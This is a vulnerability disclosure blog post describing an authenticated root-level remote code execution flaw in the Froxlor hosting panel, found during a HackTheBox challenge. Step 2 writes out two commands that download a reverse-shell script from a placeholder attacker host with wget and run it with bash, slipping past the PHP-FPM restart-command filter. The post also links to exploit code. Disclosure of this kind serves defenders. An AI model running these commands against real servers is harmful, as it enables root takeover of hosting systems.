Disclosing Froxlor V2.x Authenticated RCE as Root Vulnerability via PHP-FPM
A story of a vulnerability in Froxlor that allowed authenticated remote code execution as root. This vulnerability exists on the latest version of Froxlor, including v2.x.
Introduction
I was playing one of the recent CTFs on HackTheBox and the challenge involved getting admin credentials for a Froxlor instance. The intended way was to enumerate the Froxlor instance and moving on from there. However, I noticed a way to getting a root shell exploiting an unknown vulnerability in Froxlor. This post will detail the vulnerability and the steps I took to exploit it, along with a PoC and exploit code.
Froxlor
Froxlor is an open-source server management panel that allows users to manage web hosting services. It is written in PHP and uses MySQL as a database backend. Froxlor is used by many hosting providers to manage their servers and services.
Though it’s a server management panel, it doesn’t provide intentionally a way to execute arbitrary code on the server as root, not even as www-data
.
Vulnerability
Froxlor allows admin users to set custom PHP-FPM restart commands
in the panel. Of course, this is a feature and it’s intended to be used for restarting PHP-FPM services. However, the is not sanitized properly and an attacker can bypass the sanitization and execute arbitrary commands on the server as root.
Exploitation
Step 1: Get Admin Credentials
After getting admin credentials, login to the Froxlor panel.
Step 2: Set Custom PHP-FPM Restart Command
Go to PHP
-> PHP-FPM versions
and set a custom PHP-FPM restart command as shown in the image below.
This input is highly sanitized, it doesn’t allow many characters including ;
, &
, |
, >
, <
, //
. However, we can still transfer a reverse shell to the server using wget
and after that, we can execute the reverse shell. So two commands are needed to exploit this vulnerability.
First: wget ATTACKER_IP/revshell.sh -O /tmp/shell.sh
Second: /bin/bash /tmp/revshell.sh
As seen, we didn’t use any of the restricted characters to execute the reverse shell.
Step 3: Restart PHP-FPM
After setting the custom PHP-FPM restart command, go to System
-> Settings
and click on PHP-FPM
. After that, click on disable, wait for a few seconds, and click on enable. This will restart the PHP-FPM service and execute the reverse shell.
Due to cron jobs, the PHP-FPM service restarts every 5 minutes, so you need to wait a few minutes to get the reverse shell. Furthermore, it’s a constant-time operation, meaning it always runs at 5-minute intervals, like 12:05, 12:10, 12:15, etc.
Step 4: Get a Root Shell
After executing the reverse shell, you will get a root shell on the server, even though the service is running as www-data
.
PoC Video
I have created a PoC for this vulnerability. You can watch the video below to see the PoC in action. The reason it’s a bit of a long video is that almost %95 of the video is waiting for the PHP-FPM service to restart. But you’ll get a root shell at the end, so it’s worth watching.
https://github.com/sarperavci/Froxlor-Authenticated-root-RCE-Exploit/blob/main/demo.mp4
Exploit Code
I have also created a Python script to exploit this vulnerability. You can visit the GitHub repository to inspect the exploit code.
https://github.com/sarperavci/Froxlor-Authenticated-root-RCE-Exploit
Conclusion
This vulnerability in Froxlor allows an attacker to execute arbitrary code on the server as root. The vulnerability is due to improper sanitization of the custom PHP-FPM restart command.